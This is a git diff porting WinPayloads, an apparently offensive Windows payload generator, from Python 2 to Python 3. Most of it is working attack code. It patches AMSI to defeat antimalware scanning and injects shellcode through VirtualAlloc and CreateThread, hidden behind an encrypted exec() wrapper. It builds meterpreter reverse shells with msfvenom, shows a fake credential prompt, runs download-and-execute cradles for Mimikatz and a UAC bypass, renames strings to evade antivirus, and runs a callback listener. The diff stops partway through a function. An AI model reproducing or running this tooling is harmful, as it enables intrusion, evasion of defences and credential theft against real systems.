diff --git a/.gitignore b/.gitignore index f30b2c0..d73fd71 100755 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ server.crt server.key /lib/sockets.py externalmodules +install/pyinstaller diff --git a/Dockerfile b/Dockerfile old mode 100644 new mode 100755 diff --git a/WinPayloads.py b/WinPayloads.py index 3de884d..4316708 100755 --- a/WinPayloads.py +++ b/WinPayloads.py @@ -1,18 +1,13 @@ -#!/usr/bin/python -from lib.main import * -from lib.payloadextras import * -from lib.startmetasploit import * -from lib.menu import * +#!/usr/bin/python3 +from lib.menu import getAndRunMainMenu +import blessed +import sys +import subprocess +import os -try: - from lib.psexecspray import * -except: - print t.bold_red + "[!] Rerun the setup.sh" + t.normal +t = blessed.Terminal() -if not re.search('winpayloads', os.getcwd().lower()): - print t.bold_red + "[!!] Please Run From Winpayloads Dir" + t.normal - sys.exit(1) DIR = os.path.expanduser('~') + '/winpayloads' if not os.path.isdir(DIR): @@ -20,30 +15,25 @@ try: - print t.bold_green + "Checking if up-to-date || ctr + c to cancel" + t.normal + print(t.bold_green + "Checking if up-to-date || ctr + c to cancel" + t.normal) gitrev = subprocess.check_output(['git', 'rev-parse', 'HEAD']).rstrip() gitlsremote = subprocess.check_output(['git', 'ls-remote', 'origin', 'master']).split()[0] if gitrev != gitlsremote: - updateornah = raw_input(t.bold_red + "Do you want to update WinPayloads? y/[n]: " + t.normal) + updateornah = input(t.bold_red + "Do you want to update WinPayloads? y/[n]: " + t.normal) if updateornah.lower() == "y": - p = subprocess.Popen(['git','pull']) + p = subprocess.Popen(['git', 'pull']) p.wait() - print t.bold_yellow + "Reload Winpayloads..." + t.normal + print(t.bold_yellow + "Reload Winpayloads..." + t.normal) sys.exit() except subprocess.CalledProcessError: - print t.bold_red + "[!] No Connection to Github" + t.normal + print(t.bold_red + "[!] No Connection to Github" + t.normal) except KeyboardInterrupt: pass - -from lib.listener import StartAsync -async = StartAsync() -async.start() - try: getAndRunMainMenu() except KeyboardInterrupt: - print t.bold_green + '\n[*] Cleaning Up\n' + t.normal + print(t.bold_green + '\n[*] Cleaning Up\n' + t.normal) subprocess.call(['rm *.rc'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) subprocess.call(['rm *.ps1'], shell=True, diff --git a/install/Python37.zip b/install/Python37.zip new file mode 100644 index 0000000..4485a50 Binary files /dev/null and b/install/Python37.zip differ diff --git a/lib/encrypt.py b/lib/encrypt.py index bb38b58..7a7c251 100755 --- a/lib/encrypt.py +++ b/lib/encrypt.py @@ -1,26 +1,28 @@ -import Crypto.Cipher.AES as AES -import os +from Crypto.Cipher import AES +from Crypto.Random import get_random_bytes +from base64 import b64encode, b64decode import random import string -import requests -from HTMLParser import HTMLParser import re import blessed t = blessed.Terminal() + def randomVar(): return ''.join(random.sample(string.ascii_lowercase, 8)) + def randomJunk(): newString = '' - for i in xrange(random.randint(1, 10)): + for i in range(random.randint(1, 10)): newString += ''.join(random.sample(string.ascii_lowercase, random.randint(1, 26))) return newString + def getSandboxScripts(sandboxLang='python'): sandboxScripts = '' - from menu import sandboxMenuOptions + from .menu import sandboxMenuOptions for i in sandboxMenuOptions: if sandboxMenuOptions[str(i)]['availablemodules']: payloadChoice = sandboxMenuOptions[str(i)]['payloadchoice'] @@ -32,7 +34,7 @@ def getSandboxScripts(sandboxLang='python'): rex = re.search('\*([^\*]*)\*.*\$([^\*]..*)\$', sandboxContent) # Regex is ugly pls help if rex: originalString, scriptVariable, variableValue = rex.group(), rex.group(1), rex.group(2) - setVariable = raw_input(t.bold_green + '\n[!] {} Sandbox Script Configuration:\n'.format(payloadChoice) + t.bold_red + '[*] {}? [{}]:'.format(scriptVariable, variableValue) + t.normal) + setVariable = input(t.bold_green + '\n[!] {} Sandbox Script Configuration:\n'.format(payloadChoice) + t.bold_red + '[*] {}? [{}]:'.format(scriptVariable, variableValue) + t.normal) if setVariable: try: int(setVariable) @@ -42,47 +44,38 @@ def getSandboxScripts(sandboxLang='python'): newString = scriptVariable + ' = ' + variableValue sandboxContent = sandboxContent.replace(originalString, newString) sandboxScripts += sandboxContent - print sandboxScripts return sandboxScripts def do_Encryption(payload): - counter = os.urandom(16) - key = os.urandom(32) + key = get_random_bytes(16) + cipher = AES.new(key, AES.MODE_CTR) - randkey = randomVar() - randcounter = randomVar() - randcipher = randomVar() - - randdecrypt = randomJunk() randshellcode = randomJunk() randbuf = randomJunk() randptr = randomJunk() randht = randomJunk() - randctypes = randomJunk() - randaes = randomJunk() - try: - rawHTML = HTMLParser().unescape(requests.get('http://www.4geeks.de/cgi-bin/webgen.py').text) - randomPython = re.sub('<.*>', '', rawHTML).strip().replace('.','') - except: - print t.bold_red + '[!] No network Connection, random python not generated.' + t.normal - randomPython = 'if __name__ == \'__main__\':' + payload = payload.replace('ctypes', randctypes) + payload = payload.replace('shellcode', randshellcode) + payload = payload.replace('bufe', randbuf) + payload = payload.replace('ptr', randptr) + payload = payload.replace('ht', randht) + ct_bytes = cipher.encrypt(payload.encode()) + nonce = b64encode(cipher.nonce).decode('utf-8') + ct = b64encode(ct_bytes).decode('utf-8') - encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter) - encrypted = encrypto.encrypt(payload.replace('ctypes',randctypes).replace('shellcode',randshellcode).replace('bufe', randbuf).replace('ptr', randptr).replace('ht',randht)) + injector = "#!/usr/bin/env python3\n" + injector += "from Crypto.Cipher import AES\n" + injector += "from base64 import b64decode\n" + injector += "import ctypes as {}\n".format(randctypes) + injector += "key = {}\n".format(key) + injector += "ct = b64decode('{}')\n".format(ct) + injector += "nonce = b64decode('{}')\n".format(nonce) + injector += "cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)\n" + injector += "pt = cipher.decrypt(ct)\n" + injector += "exec(pt.decode())" - newpayload = "# -*- coding: utf-8 -*- \n" - newpayload += "import Crypto.Cipher.AES as %s \nimport ctypes as %s \n" %(randaes, randctypes) - newpayload += getSandboxScripts('python') - newpayload += randomPython - newpayload += "\n\t%s = '%s'\n"% (randomVar(), randomJunk()) - newpayload += "\t%s = '%s'.decode('hex') \n" % (randkey, key.encode('hex')) - newpayload += "\t%s = '%s'.decode('hex') \n" % (randcounter, counter.encode('hex')) - newpayload += "\t%s = '%s'\n"% (randomVar(), randomJunk()) - newpayload += "\t%s = %s.new(%s , %s.MODE_CTR, counter=lambda: %s )\n" % (randdecrypt, randaes, randkey, randaes, randcounter) - newpayload += "\t%s = %s.decrypt('%s'.decode('hex')) \n" % (randcipher, randdecrypt, encrypted.encode('hex')) - newpayload += "\texec(%s)" % randcipher - return newpayload + return injector diff --git a/lib/generatepayload.py b/lib/generatepayload.py index 05f6895..3e07e4b 100755 --- a/lib/generatepayload.py +++ b/lib/generatepayload.py @@ -1,12 +1,16 @@ -from main import * -from payloadextras import * -from psexecspray import * -from startmetasploit import * -from generatepayload import * -from menu import * -from encrypt import * -from stager import * +from .startmetasploit import METASPLOIT +from .main import Spinner, payloaddir, injectwindows, DoServe +from .payloadextras import EXTRAS +from .encrypt import do_Encryption +import os +import blessed +import sys +import time +import string +import random +import subprocess +t = blessed.Terminal() METASPLOIT_Functions = { 'reverse': { @@ -37,47 +41,50 @@ 'nclisten': METASPLOIT().nclisterner, } } + + def askAndReturnModules(shellcode, metasploit_type): if metasploit_type == 'nclistener': return (EXTRAS(shellcode).RETURN_EZ2READ_SHELLCODE(), METASPLOIT_Functions[metasploit_type]['nclisten']) else: - want_UACBYPASS = raw_input(t.bold_red + '[*] Try UAC Bypass(Only Works For Local Admin Account)?' + t.bold_red + ' y/[n]:' + t.normal) + want_UACBYPASS = input(t.bold_red + '[*] Try UAC Bypass(Only Works For Local Admin Account)?' + t.bold_red + ' y/[n]:' + t.normal) if want_UACBYPASS.lower() == 'y': - win7orwin10 = raw_input(t.bold_red + '[*] Windows 7 or 10?' + t.bold_red + ' 7/[10]:' + t.normal) + win7orwin10 = input(t.bold_red + '[*] Windows 7 or 10?' + t.bold_red + ' 7/[10]:' + t.normal) if not win7orwin10: win7orwin10 = "10" return (EXTRAS(shellcode).UACBYPASS(win7orwin10), METASPLOIT_Functions[metasploit_type]['uacbypass']) - want_ALLCHECKS = raw_input(t.bold_red + '[*] Invoke Priv Esc Checks? y/[n]:' + t.normal) + want_ALLCHECKS = input(t.bold_red + '[*] Invoke Priv Esc Checks? y/[n]:' + t.normal) if want_ALLCHECKS.lower() == 'y': return (EXTRAS(shellcode).ALLCHECKS(), METASPLOIT_Functions[metasploit_type]['allchecks']) - want_PERSISTENCE = raw_input(t.bold_red + '[*] Persistent Payload on Boot? y/[n]:' + t.normal) + want_PERSISTENCE = input(t.bold_red + '[*] Persistent Payload on Boot? y/[n]:' + t.normal) if want_PERSISTENCE.lower() == 'y': return (EXTRAS(shellcode).PERSISTENCE(), METASPLOIT_Functions[metasploit_type]['persistence']) return (EXTRAS(shellcode).RETURN_EZ2READ_SHELLCODE(), METASPLOIT_Functions[metasploit_type]['normal']) -def GeneratePayload(ez2read_shellcode,payloadname,shellcode): - from menu import clientMenuOptions - if len(clientMenuOptions.keys()) > 2: - from stager import clientUpload + +def GeneratePayload(ez2read_shellcode, payloadname, shellcode): + from .menu import clientMenuOptions + if len(list(clientMenuOptions.keys())) > 2: + from .stager import clientUpload if clientUpload(powershellExec=ez2read_shellcode, isExe=True, json='{"type":"", "data":"%s", "sendoutput":"false", "multiple":"true"}'): return True randoFileName = ''.join(random.sample(string.ascii_lowercase, 8)) with open('%s/%s.py' % (payloaddir(), randoFileName), 'w+') as Filesave: - Filesave.write(do_Encryption(SHELLCODE.injectwindows % (ez2read_shellcode))) + Filesave.write(do_Encryption(injectwindows % (ez2read_shellcode))) Filesave.close() - print '[*] Creating Payload using Pyinstaller...' - - p = subprocess.Popen(['wine', os.path.expanduser('~') + '/.win32/drive_c/Python27/python.exe', '/opt/pyinstaller/pyinstaller.py', + print('[*] Creating Payload using Pyinstaller...') + pyinstallerLocation = os.path.dirname(__file__).replace('/lib', '/install/pyinstaller/pyinstaller.py') + p = subprocess.Popen(['wine', os.path.expanduser('~') + '/.win32/drive_c/Python37/python.exe', pyinstallerLocation, '%s/%s.py' % (payloaddir(), randoFileName), '--noconsole', '--onefile'], env=dict(os.environ, **{'WINEARCH':'win32','WINEPREFIX':os.path.expanduser('~') + '/.win32'}), bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE) LOADING = Spinner('Generating Payload') - while p.poll() == None: + while p.poll() is None: LOADING.Update() time.sleep(0.2) - print '\r', + print('\r', end=' ') sys.stdout.flush() payloadstderr = p.stderr.read() @@ -87,27 +94,29 @@ def GeneratePayload(ez2read_shellcode,payloadname,shellcode): try: os.rename('dist/%s.exe' % randoFileName, '%s/%s.exe' % (payloaddir(), randoFileName)) except OSError: - print t.bold_red + "[!] Error while creating payload..." + t.normal - print payloadstderr + print(t.bold_red + "[!] Error while creating payload..." + t.normal) + print(payloadstderr) return False - print t.normal + '\n[*] Payload.exe Has Been Generated And Is Located Here: ' + t.bold_green + '%s/%s.exe' % (payloaddir(), randoFileName) + t.normal + print(t.normal + '\n[*] Payload.exe Has Been Generated And Is Located Here: ' + t.bold_green + '%s/%s.exe' % (payloaddir(), randoFileName) + t.normal) CleanUpPayloadMess(randoFileName) DoPayloadUpload(randoFileName) return True def CleanUpPayloadMess(randoFileName): + print(payloaddir()) os.system('rm dist -r') os.system('rm build -r') os.system('rm *.spec') - os.system('rm %s/%s.py' % (payloaddir(), randoFileName)) + #os.system('rm %s/%s.py' % (payloaddir(), randoFileName)) + def DoPayloadUpload(payloadname): - from menu import returnIP - want_to_upload = raw_input( + from .menu import returnIP + want_to_upload = input( '\n[*] Upload To Local Websever or (p)sexec? [y]/p/n: ') - if want_to_upload.lower() == 'p' or want_to_upload.lower() == 'psexec': - DoPsexecSpray(payloaddir() + '/' + payloadname + '.exe') - elif want_to_upload.lower() == 'y' or want_to_upload.lower() == '': - FUNCTIONS().DoServe(returnIP(), payloadname, payloaddir(), port=8000, printIt = True) + #if want_to_upload.lower() == 'p' or want_to_upload.lower() == 'psexec': + #DoPsexecSpray(payloaddir() + '/' + payloadname + '.exe') + if want_to_upload.lower() == 'y' or want_to_upload.lower() == '': + DoServe(returnIP(), payloadname, payloaddir(), port=8000, printIt=True) diff --git a/lib/listener.py b/lib/listener.py index 8c8e9f4..5eb67fd 100755 --- a/lib/listener.py +++ b/lib/listener.py @@ -1,120 +1,99 @@ -from stager import * +import asyncio +import ssl import threading -amap = {} class StartAsync(threading.Thread): - def __init__(self, map=amap): + def __init__(self, port=5555): threading.Thread.__init__(self) + self.loop = asyncio.get_event_loop() + self.port = port + self.sc = ssl.SSLContext(protocol=ssl.PROTOCOL_TLSv1) + self.sc.load_cert_chain('server.crt', 'server.key') + self.sc.set_ciphers('AES256') + self.server = Server() self.setDaemon(True) - self.map = amap - self.started = False def run(self): - while True: - if self.started: - asyncore.loop(timeout=0.5, map=self.map) - self.started = False - else: - while not self.map: - time.sleep(0.5) - self.started = True - - -class Handler(asyncore.dispatcher): - def __init__(self, clientconn, server, map): - asyncore.dispatcher.__init__(self, sock=clientconn, map=amap) - self.server = server + self.coro = asyncio.start_server(self.server.client_connect, + '0.0.0.0', + port=self.port, + loop=self.loop, + ssl=self.sc + ) + self.listener = self.loop.run_until_complete(self.coro) + self.loop.run_forever() + + def stop(self): + self.server.close() + self.loop.call_soon_threadsafe(self.loop.stop) + self.join() + print('Server Stopped') + + +class Client(): + def __init__(self, clientnumber, addr, writer, reader): + self.addr = addr + self.clientnumber = clientnumber + self.writer = writer + self.reader = reader self.in_buffer = [] - self.out_buffer = [] - self.user_name = '' + self.username = '' self.is_admin = '' - return - def handle_close(self): - print t.bold_red + "Client %s Connection Killed"% self.server.get_clientnumber() + t.normal - self.close() - - def readable(self): - return True - - def handle_read(self): - data = self.recv(8000) - if data: - self.in_buffer.append(data) - if '[#check#]' in data: - self.user_name = "User:" + data.split(':')[0].replace('\x00','').replace('[#check#]','') - self.is_admin = "Admin:" + data.split(':')[1].replace('\x00','').replace('[#check#]','') - from menu import clientMenuOptions - clientMenuOptions[self.server.get_clientnumber()] = {'payloadchoice': None, 'payload':str(self.getpeername()[0]) + ":" + str(self.getpeername()[1]), 'extrawork': interactShell, 'params': (self.server.get_clientnumber()), 'availablemodules':{self.user_name: '', self.is_admin: ''}} - self.in_buffer = [] - - def writable(self): - return len(self.out_buffer) > 0 + async def receive(self): + while True: + data = await self.reader.read(8000) + data = data.decode() + if data == '': + self.close_client() + return + else: + if '[#check#]' in data: + self.user_name = "User:" + data.split(':')[0].replace('\x00','').replace('[#check#]','') + self.is_admin = "Admin:" + data.split(':')[1].replace('\x00','').replace('[#check#]','') + from .menu import clientMenuOptions + from .stager import interactShell + clientMenuOptions[str(self.clientnumber)] = {'payloadchoice': None, 'payload': self.addr, 'extrawork': interactShell, 'params': str(self.clientnumber), 'availablemodules':{self.user_name: '', self.is_admin: ''}} + else: + self.in_buffer.append(data) + + def close_client(self): + self.writer._transport.close() + self.reader._transport.close() + print("Closing Client {}".format(self.addr)) + return - def handle_write(self): - sent = self.send(self.out_buffer.pop()) -class Server(asyncore.dispatcher): - want_read = want_write = True - def __init__(self, host, port, bindsocket=False, relay=False, map=amap): - asyncore.dispatcher.__init__(self, map=amap) - self.create_socket(socket.AF_INET, socket.SOCK_STREAM) - self.set_reuse_addr() - self.handlers = {} +class Server(): + def __init__(self): + self.clients = {} self.clientnumber = 0 - self.bindsocket = bindsocket - self.relay = relay - self.map = amap - - if self.bindsocket: - self.bind((host, port)) - self.listen(30) - elif self.relay: - self.bind((host, port)) - self.listen(1) - else: - self.connect((host, port)) - - def writable(self): - return self.want_write + async def client_connect(self, client_reader, client_writer): + rawaddr = client_writer.get_extra_info('peername') + addr = '{}:{}'.format(rawaddr[0], rawaddr[1]) + print('Client connected: {}'.format(addr)) + self.clientnumber += 1 + client = Client(self.clientnumber, addr, client_writer, client_reader) + self.clients[self.clientnumber] = client + await asyncio.gather(client.receive()) - def readable(self): - return self.want_read + def close(self): + for clientnum, client in list(self.clients.items()): + client.close_client() - def handle_connect(self): - self.socket = ssl.wrap_socket(self.socket, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='AES256', do_handshake_on_connect=False) - print '[*] Connection to %s:%s'%(self.socket.getpeername()) - - def _handshake(self): - try: - self.socket.do_handshake() - except ssl.SSLError, err: - self.want_read = self.want_write = False - if err.args[0] == ssl.SSL_ERROR_WANT_READ: - self.want_read = True - elif err.args[0] == ssl.SSL_ERROR_WANT_WRITE: - self.want_write = True - else: - raise - else: - self.clientnumber += 1 - handler = Handler(self.socket, self, map=self.map) - self.handlers[self.clientnumber] = handler - def handle_accept(self): - if self.bindsocket: - self.socket = ssl.wrap_socket(self.socket, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='AES256', server_side=True, certfile='server.crt', keyfile='server.key') - clientconn, address = self.accept() - if clientconn: - print '[*] Connection from %s:%s'%(address) - self.clientnumber += 1 - handler = Handler(clientconn, self, map=self.map) - self.handlers[self.clientnumber] = handler - - - def get_clientnumber(self): - return str(self.clientnumber) - - handle_read = handle_write = _handshake +if __name__ == '__main__': + listener = StartAsync() + listener.start() + try: + while True: + comm = input(': ') + if comm == 'print': + if listener.server.clients[1].in_buffer: + print(listener.server.clients[1].in_buffer.pop()) + if 'send' in comm: + listener.server.clients[1].writer.write(comm.split()[1]) + except KeyboardInterrupt: + listener.stop() diff --git a/lib/main.py b/lib/main.py index 41e10b3..0421384 100755 --- a/lib/main.py +++ b/lib/main.py @@ -1,31 +1,17 @@ -# -*- coding: utf-8 -*- -from __future__ import unicode_literals import os import socket import re import subprocess -import struct import sys import blessed import random -import SimpleHTTPServer -import SocketServer +import http.server +import socketserver import multiprocessing -from Crypto.Cipher import AES -import base64 -import string -import glob -import readline import time -import psexec -import urllib2 -from collections import OrderedDict import string -import asyncore -import ssl -import threading import prompt_toolkit -from prompt_toolkit.contrib.completers import WordCompleter +from prompt_toolkit.completion import WordCompleter import netifaces t = blessed.Terminal() @@ -59,44 +45,18 @@ } -def sandboxChoose(choice): - from menu import sandboxMenuOptions, getAndRunSandboxMenu - if sandboxMenuOptions[choice]['availablemodules']: - sandboxMenuOptions[choice]['availablemodules'] = None - else: - sandboxMenuOptions[choice]['availablemodules'] = {str('ON'): ''} - return "clear" - - -def payloaddir(): - return os.path.expanduser('~') + '/winpayloads' - -def msfvenomGeneration(payload, ip, port): - p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - LOADING = Spinner('Generating Shellcode') - while p.poll() == None: - LOADING.Update() - time.sleep(0.2) - print '\r', - sys.stdout.flush() - - payload = p.stdout.read() - compPayload = re.findall(r'"(.*?)"', payload) - - return ''.join(map(str, compPayload)) - +amsiPatch = """ +$w = @" +using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);} +"@;Add-Type $w;$l = [Win32]::LoadLibrary("am" + "si.dll");$a = [Win32]::GetProcAddress($l, "Amsi" + "Scan" + "Buffer");[Win32]::VirtualProtect($a, [uint32]5, 0x40, [ref]0);[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $a, 6); +""" -def getHelp(*helpItem): - helpItem = ''.join(helpItem) - if helpDict.has_key(helpItem): - return helpDict[helpItem] - else: - return t.bold_red + '[!] Enter a valid menu option to recieve help' -class HANDLER(SimpleHTTPServer.SimpleHTTPRequestHandler): #patching httpserver to shutup +class HANDLER(http.server.SimpleHTTPRequestHandler): def log_message(self, format, *args): return + class InterfaceSelecta(): def __init__(self): self.num = 0 @@ -130,7 +90,6 @@ def __init__(self): else: self.interface = interface - def ChooseInterface(self, set=False): if set: for i in self.interfaces: @@ -138,7 +97,7 @@ def ChooseInterface(self, set=False): currentinterface = t.bold_green + ' *' else: currentinterface = '' - print t.bold_yellow + str(i['num']) + ': ' + t.normal + i['addr'] + ' (' + i['interface'] + ')' + currentinterface + print(t.bold_yellow + str(i['num']) + ': ' + t.normal + i['addr'] + ' (' + i['interface'] + ')' + currentinterface) while True: interinput = prompt_toolkit.prompt("Interface > ", completer=WordCompleter([str(x+1) for x in range(self.num-1)]), style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'})) @@ -150,134 +109,8 @@ def ChooseInterface(self, set=False): return self.interface - -class SHELLCODE(object): - @staticmethod - def windows_rev_shell(ip, port): - return msfvenomGeneration('windows/shell_reverse_tcp', ip, port) - - @staticmethod - def windows_met_rev_shell(ip, port): - return msfvenomGeneration('windows/meterpreter/reverse_tcp', ip, port) - - @staticmethod - def windows_met_bind_shell(ip, port): - return msfvenomGeneration('windows/meterpreter/bind_tcp', ip, port) - - @staticmethod - def windows_met_rev_https_shell(ip, port): - return msfvenomGeneration('windows/meterpreter/reverse_https', ip, port) - - @staticmethod - def windows_met_rev_shell_dns(ip, port): - return msfvenomGeneration('windows/meterpreter/reverse_tcp_dns', ip, port) - - @staticmethod - def windows_custom_shellcode(): - customshell = '' - print 'Paste custom shellcode below\nType \'END\' when done.' - while True: - buildstr = raw_input().rstrip() - if buildstr == 'END': - break - else: - customshell += buildstr - return customshell - - @staticmethod - def windows_ps_ask_creds_tcp(): - return ( - "$ErrorActionPreference=\'SilentlyContinue\';Add-Type -assemblyname system.DirectoryServices.accountmanagement;" - "$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);" - "$domainDN = \'LDAP://\' + ([ADSI]\'\').distinguishedName;" - "$credential = $host.ui.PromptForCredential(\'Credentials are required to perform this operation!\', \'\', \'\', \'\');" - "if($credential){$creds = $credential.GetNetworkCredential();$user = $creds.username;$pass = $creds.password;" - "echo \' INCORRECT:\'$user\':\'$pass;" - "$authlocal = $DS.ValidateCredentials($user, $pass);" - "$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);" - "if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){" - "echo \' CORRECT:\'$user\':\'$pass}}") - - @staticmethod - def windows_invoke_mimikatz(): - return ( - "IEX (New-Object Net.WebClient).DownloadString(\\\"http://%s:%s/Invoke-Mimikatz.ps1\\\");" - "Invoke-Mimikatz -DumpCreds") - - @staticmethod - def windows_uac_bypass(): - return ( - "IEX (New-Object Net.WebClient).DownloadString(\\\"http://%s:%s/Invoke-SilentCleanUpBypass.ps1\\\");" - "Invoke-SilentCleanUpBypass -Command \\\"powershell.exe -c %s\\\"") - - - injectwindows = """ -shellcode = bytearray('%s') -ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) -bufe = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) -ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),bufe,ctypes.c_int(len(shellcode))) -ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) -ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) -""" - - -class FUNCTIONS(object): - - def powershellShellcodeLayout(self,powershellExec): - powershellShellcode = re.sub(r'\\x', '0x', powershellExec) - count = 0 - newpayloadlayout = '' - for char in powershellShellcode: - count += 1 - newpayloadlayout += char - if count == 4: - newpayloadlayout += ',' - count = 0 - return newpayloadlayout - - def ServePayload(self, payloaddirectory, IP, port): - try: - os.chdir(payloaddirectory) - httpd = SocketServer.TCPServer((IP, port), HANDLER) - httpd.serve_forever() - except KeyboardInterrupt: - pass - except: - print t.bold_red + '\n[*] Port in use' + t.normal - - def DoServe(self, IP, payloadname, payloaddir, port, printIt): - if printIt: - print t.bold_green + "\n[*] Serving Payload On http://%s:%s/%s.exe" % (IP, port, payloadname) + t.normal - a = multiprocessing.Process( - target=self.ServePayload, args=(payloaddir, IP, port)) - a.daemon = True - a.start() - - def randomUnusedPort(self): - from menu import returnIP - s = socket.socket() - s.bind((returnIP(), 0)) - port = s.getsockname()[1] - s.close() - return port - - def stagePowershellCode(self, powershellFileContents, port): - from menu import returnIP - DIR = 'stager' - if not os.path.isdir(DIR): - os.mkdir(DIR) - os.chdir(DIR) - with open('stage.ps1','w') as psFile: - psFile.write(powershellFileContents) - httpd = SocketServer.TCPServer((returnIP(), port), HANDLER) - httpd.handle_request() - os.chdir('..') - import shutil - shutil.rmtree(DIR) - class Spinner(object): - - def __init__(self,text): + def __init__(self, text): self.spinner = [ ["|", "\\", "-", "/"], ["▁","▃","▄","▅","▆","▇","█","▇","▆","▅","▄","▃"], @@ -299,10 +132,10 @@ def __init__(self,text): self.x = 0 def Looper(self, text): - print t.bold_green, + print(t.bold_green, end=' ') sys.stdout.write('\r') sys.stdout.write(text) - print t.normal, + print(t.normal, end=' ') sys.stdout.flush() def Update(self): @@ -310,3 +143,232 @@ def Update(self): self.Looper(self.randomchoice[self.x % self.spin_1] + " " + "".join( self.loading[0: (self.spin_2mod)]) + (" " * (self.spin_2 - self.spin_2mod))) self.x += 1 + + +def windows_rev_shell(ip, port): + return msfvenomGeneration('windows/shell_reverse_tcp', ip, port) + + +def windows_met_rev_shell(ip, port): + return msfvenomGeneration('windows/meterpreter/reverse_tcp', ip, port) + + +def windows_met_bind_shell(ip, port): + return msfvenomGeneration('windows/meterpreter/bind_tcp', ip, port) + + +def windows_met_rev_https_shell(ip, port): + return msfvenomGeneration('windows/meterpreter/reverse_https', ip, port) + + +def windows_met_rev_shell_dns(ip, port): + return msfvenomGeneration('windows/meterpreter/reverse_tcp_dns', ip, port) + + +def windows_custom_shellcode(): + customshell = '' + print('Paste custom shellcode below\nType \'END\' when done.') + while True: + buildstr = input().rstrip() + if buildstr == 'END': + break + else: + customshell += buildstr + return customshell + + +def windows_ps_ask_creds_tcp(): + return ( + "$ErrorActionPreference=\'SilentlyContinue\';Add-Type -assemblyname system.DirectoryServices.accountmanagement;" + "$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);" + "$domainDN = \'LDAP://\' + ([ADSI]\'\').distinguishedName;" + "$credential = $host.ui.PromptForCredential(\'Credentials are required to perform this operation!\', \'\', \'\', \'\');" + "if($credential){$creds = $credential.GetNetworkCredential();$user = $creds.username;$pass = $creds.password;" + "echo \' INCORRECT:\'$user\':\'$pass;" + "$authlocal = $DS.ValidateCredentials($user, $pass);" + "$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);" + "if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){" + "echo \' CORRECT:\'$user\':\'$pass}}") + + +def windows_invoke_mimikatz(): + return ( + "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s.ps1');" + "%s -%s") + + +def windows_uac_bypass(): + return ( + "IEX (New-Object Net.WebClient).DownloadString(\\\"http://%s:%s/Invoke-SilentCleanUpBypass.ps1\\\");" + "Invoke-SilentCleanUpBypass -Command \\\"powershell.exe -c %s\\\"") + + +injectwindows = """ +shellcode = b'%s' +ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) +ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),shellcode,ctypes.c_int(len(shellcode))) +ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) +ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) +""" + + +def randomVar(len): + return ''.join(random.sample(string.ascii_lowercase, len)) + + +def removeComments(string): + string = re.sub(re.compile(r'<\#.*?\#>', flags=re.DOTALL), '', string) + string = re.sub(re.compile(r'#.*?\n'), '\\n', string) + return string + + +def removeAVStrings(string): + badStrings = ['shellcode'] + for bad in badStrings: + string = re.sub(bad, randomVar(5), string, flags=re.IGNORECASE) + return string + + +def randomisePS1(filename): + ps1Changes = { + 'Invoke-Shellcode': { + 'paramR': r'\[\'{}\'\]', + 'args': [ + '$Shellcode', + '$Force', + '$ProcessID' + ], + 'filename': '{}-{}' + }, + 'Invoke-Mimikatz': { + 'paramR': r'\"{}\"', + 'args': [ + '$DumpCreds', + '$Command', + ], + 'filename': '{}-{}' + }, + 'Invoke-BypassUAC': { + 'filename': '{}-{}' + }, + 'Invoke-SilentCleanUpBypass': { + 'filename': '{}-{}' + }, + 'PowerUp': { + 'filename': '{}' + }, + } + with open('externalmodules/{}.ps1'.format(filename), 'r') as originalPS1: + newFileChanges = { + 'filename': '', + 'params': {} + } + ps1Content = originalPS1.read() + paramRegex = ps1Changes[filename].get('paramR') + ps1Arguments = ps1Changes[filename].get('args') + newFileName = ps1Changes[filename].get('filename').format(randomVar(4), randomVar(6)) + for i, j in enumerate(ps1Arguments): + newParam = randomVar(7) + cleanNewArg = '$' + newParam + ps1Content = ps1Content.replace(j, cleanNewArg) + newFileChanges['params'][j.replace('$', '')] = newParam + + for param, newParam in list(newFileChanges['params'].items()): + paramSearchRegex = paramRegex.format(param.replace('$', '')) + changeParam = 